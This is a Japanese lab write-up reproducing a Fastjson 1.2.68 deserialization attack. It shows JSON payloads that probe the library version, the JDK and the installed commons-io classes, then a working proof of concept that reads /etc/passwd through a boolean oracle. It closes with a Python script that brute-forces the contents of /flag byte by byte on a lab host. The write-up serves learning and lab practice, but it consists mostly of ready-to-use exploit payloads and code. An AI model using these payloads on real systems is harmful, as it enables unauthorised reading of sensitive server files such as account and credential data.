06-1268-readfile#
参考:https://github.com/lemono0/FastJsonPart
プロセスの再現を主にし、脆弱性の利用プロセスを理解するために、ネット上には多くの大御所の文章があり、非常に良く書かれていますが、基礎学習としてはまだ不十分です(特に IDEA を使って Java ファイルをコンパイルする方法や、依存関係などの基本的な問題の解決方法について、-__-|.)。そこで、自分の再現プロセスの流れを書き留めました。
バージョンを探査し、括弧を削除してエラーを報告
{
"@type": "java.lang.AutoCloseable"
バージョンは 1.2.68
このバージョンは jndi の利用を制限しており、一般的な方法はファイルの読み書きです。
環境依存性の探査
Character 型の変換エラーを利用し、指定されたクラスが存在する場合は変換エラーが報告され、存在しない場合はエコーがありません。
jdk11 であるかを探査
{
"x": {
"@type": "java.lang.Character"{
"@type": "java.lang.Class",
"val": "java.net.http.HttpClient"
}
}
jdk11 ではないことを示すだけです。
commons-io 依存性の探査
{
"x": {
"@type": "java.lang.Character"{
"@type": "java.lang.Class",
"val": "org.apache.commons.io.Charsets"
}}
commons-io 依存性が存在することを示していますが、バージョンは不明です。
バージョンの探査
{
"x": {
"@type": "java.lang.Character"{
"@type": "java.lang.Class",
"val": "org.apache.commons.io.file.Counters"
}
}
org.apache.commons.io.file.Counters は commons-io2.7~2.8
で導入されており、重要なエラーメッセージは表示されないため、2.7~2.8
バージョンではないことを示しています。
commons-io2.0~2.8 の下でファイルを読み取るための poc は以下の通りです:
{
"abc": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "file:///etc/passwd"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"boms": [
{
"charsetName": "UTF-8",
"bytes": [
114,111,111,116
]
}
]
},
"address": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.CharSequenceReader",
"charSequence": {
"@type": "java.lang.String"{"$ref":"$.abc.BOM[0]"},
"start": 0,
"end": 0
}
}
}
上記の poc は /etc/passwd を読み取ろうとし、以下の内容を返します。これは /etc/passwd の内容を正常に読み取ったことを示しており、114,111,111,116
は root
です。
これにより bool ブラインドインジェクションが発生しました。次はスクリプトを書いて敏感なファイルを読み取り、バイトをブルートフォースすることになります。
著者が提供した以下のスクリプトを使用してブルートフォースします。
import requests
import json
url = "http://10.30.0.84/login"
asciis = [10,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126]
file_byte = []
data1 = """
{
"abc": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "file:///flag"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"boms": [
{
"charsetName": "UTF-8",
"bytes": [
"""
data2 = """
]
}
]
},
"address": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.CharSequenceReader",
"charSequence": {
"@type": "java.lang.String"{"$ref":"$.abc.BOM[0]"},
"start": 0,
"end": 0
}
}
}
"""
proxies = {
'http': '127.0.0.1:8080',
}
header = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0",
"Content-Type": "application/json; charset=utf-8"
}
for i in range(1,30): # 読み取る長さは自分で定義しますが、一度にあまり長くしないでください。複数回に分けて読み取ることをお勧めします。
for i in asciis:
file_byte.append(str(i))
req = requests.post(url=url,data=data1+','.join(file_byte)+data2,headers=header)
text = req.text
if "charSequence" not in text:
file_byte.pop()
print(','.join(file_byte))
file_str = ""
for i in file_byte:
file_str += chr(int(i))
print(file_str)